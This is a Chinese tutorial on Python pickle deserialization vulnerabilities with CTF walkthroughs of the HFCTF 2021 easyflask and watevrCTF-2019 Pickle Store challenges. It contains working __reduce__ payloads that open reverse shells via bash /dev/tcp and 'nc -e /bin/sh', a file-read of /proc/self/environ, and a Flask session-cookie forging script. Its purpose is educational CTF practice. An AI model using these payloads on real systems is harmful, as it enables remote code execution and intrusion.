python pickle中的反序列化漏洞

1.介绍漏洞:

Python里的反序列化攻击先来看看什么是序列化和反序列化。简单来说,序列化就是把数据结构转换成字节流,这样我们就可以把数据保存到文件里或者通过网络传输。反序列化则是把这些字节流再转换回原来的数据结构。

反序列化攻击的概述

反序列化过程有漏洞:如果我们反序列化了一个不可信的数据源,那就可能引发反序列化攻击。攻击者可以在序列化的数据里嵌入恶意代码,当你反序列化这个数据时,这些恶意代码就会被执行,可能会导致数据泄露、系统崩溃,甚至让攻击者远程控制你的系统。

2. Python Pickle模块概述

Pickle的基本功能
Pickle模块是Python自带的,它主要用来序列化和反序列化Python对象。你可以用Pickle把任何Python对象(包括复杂的数据结构)保存成字节流,然后在需要的时候再加载回来。

Pickle的工作原理

Pickle的工作原理其实很简单。序列化的时候,它会把Python对象转换成字节流,反序列化的时候,它会把字节流还原成Python对象。下面我们来看几个具体的例子。

Pickle的序列化与反序列化

序列化

序列化就是把Python对象转换成字节流。我们可以用pickle.dumppickle.dumps来做这件事。pickle.dump把对象序列化后写入文件,pickle.dumps则返回一个字节流。

1
2
3
4
5
6
7
8
9
10
11
import pickle

# 创建一个对象
data = {'name': 'Alice', 'age': 25, 'city': 'New York'}

# 序列化对象并写入文件
with open('data.pickle', 'wb') as file:
pickle.dump(data, file)

# 或者返回一个字节流
data_bytes = pickle.dumps(data)

反序列化

反序列化就是把字节流还原成Python对象。我们可以用pickle.loadpickle.loads来做这件事。pickle.load从文件中读取字节流并反序列化,pickle.loads则直接反序列化一个字节流。

1
2
3
4
5
6
7
8
import pickle

# 从文件中反序列化对象
with open('data.pickle', 'rb') as file:
data = pickle.load(file)

# 或者直接反序列化一个字节流
data = pickle.loads(data_bytes)

3. 反序列化攻击的原理

攻击机制

现在我们来看看反序列化攻击是怎么回事。攻击者可以在序列化的数据里嵌入恶意代码,当你反序列化这个数据时,这些恶意代码就会被执行。换句话说,如果你从不可信的数据来源反序列化数据,就等于是给了攻击者在你系统里执行代码的机会。

攻击者可以做什么

攻击者可以利用反序列化漏洞执行任意命令、修改或窃取数据。

示例代码

为了更清楚地说明问题,我们来看一个简单的反序列化攻击示例。

1
2
3
4
5
6
7
8
9
10
11
12
13
import pickle
import os

# 构造恶意代码
class Malicious:
def __reduce__(self):
return (os.system, ('echo Hacked!',))

# 序列化恶意对象
malicious_data = pickle.dumps(Malicious())

# 反序列化时执行恶意代码
pickle.loads(malicious_data)

详细解释

构造恶意代码:我们定义了一个Malicious类,并在__reduce__方法中指定要执行的命令。
序列化恶意对象:我们用pickle.dumps序列化这个恶意对象。
反序列化恶意对象:当我们用pickle.loads反序列化这个对象时,__reduce__方法会被调用,并执行指定的命令。

433e76e9f997e405.png

补充:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
一.基础的pickle反序列化
pickle反序列化危害极大,不像php反序列化依赖恶意类和方法,而是直接可以RCE

关键代码

pickle.dumps(obj[, protocol])

功能:将obj对象序列化为string形式,而不是存入文件中。
参数:
obj:想要序列化的obj对象。
protocal:如果该项省略,则默认为0。如果为负值或HIGHEST_PROTOCOL,则使用最高的协议版本。

pickle.loads(string)

功能:从string中读出序列化前的obj对象。
参数:
string:文件名称。

漏洞有关的魔术方法
__reduce__

构造方法,在反序列化的时候自动执行,类似于php中的_wake_up

__setstate__

在反序列化时自动执行。它可以在对象从其序列化状态恢复时,对对象进行自定义的状态还原。

常用payload(没有os模块)

1
2
3
4
5
6
7
8
9
10
import pickle
import base64

class A(object):
def __reduce__(self):
return (eval, ("__import__('os').popen('tac /flag').read()",))

a = A()
a = pickle.dumps(a)
print(base64.b64encode(a))
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
环境有os模块

import pickle
import os
import base64

class aaa():
def __reduce__(self):
return(os.system,('bash -c "bash -i >& /dev/tcp/ip/port 0>&1"',))

a= aaa()

payload=pickle.dumps(a)

payload=base64.b64encode(payload)
print(payload)

所以最好所有poc在linux上生成

我们刷题看看

[[HFCTF 2021 Final]easyflask] 题目复现

我们在buu上面复习这道题

打开题目

b3e54786db818f5d.png

一路跟着提示走
049c77208ad7fe96.png

这里有代码我们分析看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58

#!/usr/bin/python3.6
import os
import pickle

from base64 import b64decode
from flask import Flask, request, render_template, session

app = Flask(__name__)
app.config["SECRET_KEY"] = "*******"

User = type('User', (object,), {
'uname': 'test',
'is_admin': 0,
'__repr__': lambda o: o.uname,
})


@app.route('/', methods=('GET',))
def index_handler():
if not session.get('u'):
u = pickle.dumps(User())
session['u'] = u
return "/file?file=index.js"


@app.route('/file', methods=('GET',))
def file_handler():
path = request.args.get('file')
path = os.path.join('static', path)
if not os.path.exists(path) or os.path.isdir(path) \
or '.py' in path or '.sh' in path or '..' in path or "flag" in path:
return 'disallowed'

with open(path, 'r') as fp:
content = fp.read()
return content


@app.route('/admin', methods=('GET',))
def admin_handler():
try:
u = session.get('u')
if isinstance(u, dict):
u = b64decode(u.get('b'))
u = pickle.loads(u)
except Exception:
return 'uhh?'

if u.is_admin == 1:
return 'welcome, admin'
else:
return 'who are you?'


if __name__ == '__main__':
app.run('0.0.0.0', port=80, debug=False)

代码审阅

因为我们要执行命令,所以admin是不是1不重要

这里可能存在任意文件读取。去读一下环境变量

1
payload:http://eed9b8a9-f54d-423c-ada6-494d4c67b12c.node5.buuoj.cn:81/file?file=/proc/self/environ

cbb312b2d870c213.png

重要代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
User = type('User', (object,), {
'uname': 'test',
'is_admin': 0,
'__repr__': lambda o: o.uname,
}
@app.route('/', methods=('GET',))
def index_handler():
if not session.get('u'):
u = pickle.dumps(User())
session['u'] = u
return "/file?file=index.js"


上面的函数也是

我们构造pickle反序列化脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import os
import pickle
import base64


User = type('User', (object,), {
'uname': 'test',
'is_admin': 0,
'__repr__': lambda o: o.uname,
'__reduce__': lambda o: (os.system,("bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'",))
})

u = pickle.dumps(User())
print(base64.b64encode(u))
//ip对应的的服务器 ,port对应端口 服务器和端口就不公布出来,怕被打(服务器建议用国内的来弹)

用python命令来执行看看(建议在kali里面执行)

1
python  exp.py

生成后的代码用:{‘u’:{‘b’:’生成后的代码’}}

然后去找脚本伪造session

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'

# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast

# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
from abc import ABCMeta, abstractmethod
else: # > 3.4
from abc import ABC, abstractmethod

# Lib for argument parsing
import argparse

# external Imports
from flask.sessions import SecureCookieSessionInterface

class MockApp(object):

def __init__(self, secret_key):
self.secret_key = secret_key


if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
class FSCM(metaclass=ABCMeta):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)

session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)

return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e


def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if(secret_key==None):
compressed = False
payload = session_cookie_value

if payload.startswith('.'):
compressed = True
payload = payload[1:]

data = payload.split(".")[0]

data = base64_decode(data)
if compressed:
data = zlib.decompress(data)

return data
else:
app = MockApp(secret_key)

si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)

return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
else: # > 3.4
class FSCM(ABC):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)

session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)

return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e


def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if(secret_key==None):
compressed = False
payload = session_cookie_value

if payload.startswith('.'):
compressed = True
payload = payload[1:]

data = payload.split(".")[0]

data = base64_decode(data)
if compressed:
data = zlib.decompress(data)

return data
else:
app = MockApp(secret_key)

si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)

return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e


if __name__ == "__main__":
# Args are only relevant for __main__ usage

## Description for help
parser = argparse.ArgumentParser(
description='Flask Session Cookie Decoder/Encoder',
epilog="Author : Wilson Sumanang, Alexandre ZANNI")

## prepare sub commands
subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')

## create the parser for the encode command
parser_encode = subparsers.add_parser('encode', help='encode')
parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
help='Secret key', required=True)
parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
help='Session cookie structure', required=True)

## create the parser for the decode command
parser_decode = subparsers.add_parser('decode', help='decode')
parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
help='Secret key', required=False)
parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
help='Session cookie value', required=True)

## get args
args = parser.parse_args()

## find the option chosen
if(args.subcommand == 'encode'):
if(args.secret_key is not None and args.cookie_structure is not None):
print(FSCM.encode(args.secret_key, args.cookie_structure))
elif(args.subcommand == 'decode'):
if(args.secret_key is not None and args.cookie_value is not None):
print(FSCM.decode(args.cookie_value,args.secret_key))
elif(args.cookie_value is not None):
print(FSCM.decode(args.cookie_value))

弄好之后我们在kali执行命令

1
python3 session.py encode -s 'glzjin22948575858jfjfjufirijidjitg3uiiuuh' -t "{'u':{'b':'生成后的代码'}}" (生成的代码那个b不用删就是这里面这个)

6f56709a8fe079b3.png

建议用火狐浏览器

打开

1
2
3
4
5
6
7
8
9
@app.route('/admin', methods=('GET',))
def admin_handler():
try:
u = session.get('u')
if isinstance(u, dict):
u = b64decode(u.get('b'))
u = pickle.loads(u)
except Exception:
return 'uhh?'

看这代码就知道 漏洞所在

1
http://7e9d9943-2aab-4503-bc52-82e0ff2d66fa.node5.buuoj.cn:81/admin

503a01c6460d3cf4.png

更改session的值(值为命令生成的)

1
eyJ1Ijp7ImIiOiJnQVNWS3dBQUFBQUFBQUNNQlhCdmMybDRsSXdHYzNsemRHVnRsSk9VakJCallYUWdMMlpzWVdjK0wzUmxjM1F5bElXVVVwUXUifX0.ZpotHA.dYvSwHyKujvsO3PrvBmCJUW6mMI

放入值更改后刷新一下就可以了

我们在我们服务器里面监听即可

1
nc -lvnp port   //port 为你弹shell的那个(先监听后弹shell)

接下来我们使用常用rce题目就出了

c79ff5ed59b68ed7.png

问题解决

还看一个大佬这样写但是我现在复现不出
[HFCTF 2021 Final]easyflask-CSDN博客](https://blog.csdn.net/daimakunnanhu/article/details/138114983?ops_request_misc={"request_id"%3A"172137775716800222819216"%2C"scm"%3A"20140713.130102334.."}&request_id=172137775716800222819216&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~sobaiduend~default-1-138114983-null-null.142^v100^pc_search_result_base9&utm_term=[HFCTF 2021 Final]easyflask&spm=1018.2226.3001.4187)

[watevrCTF-2019]Pickle Store 复现

题目提示:pickle 反序列化

第一步查看注意cookie session

打开题目

d9cc23a7f6e0f21e.png

使用pickle脚本 来还原cookie session值

1
2
3
4
5
6
import pickle
from base64 import *

enc="" //里面为session值
print(pickle.loads(b64decode(enc)))

运行脚本后

1
2
3
└─# python '/home/kali/桌面/pickle  scripts/Check pickle.py'                                           
{'money': 500, 'history': [], 'anti_tamper_hmac': 'aa1ba4de55048cf20e0a7a63b7f8eb62'}

确实有作用对应题目之后我们买个100的再运行脚本看看

1
2
└─# python '/home/kali/桌面/pickle  scripts/Check pickle.py'  
{'money': 400, 'history': ['Yummy smörgåsgurka'], 'anti_tamper_hmac': '464fb519eccd90037ca807319d45786d'}

有变化于是我们可以在这弹shell来执行任意文件执行

第二步准备弹shell

弹shell脚本 其一

1
2
3
4
5
6
7
8
9
10
mport base64
import pickle


class A(object):
def __reduce__(self):
return (eval, ("__import__('os').system('nc ip port -e/bin/sh')",))
a = A()
print( base64.b64encode( pickle.dumps(a) ) )

把生成出来的exp

其中只要把g开头=结尾的内容复制

放入session里刷新几次 弹shell需要好几次的别着急

连接成功

第三步 RCE flag

0a24dfc1d8aa874b.png

输入相应命令出现flag

问题解决。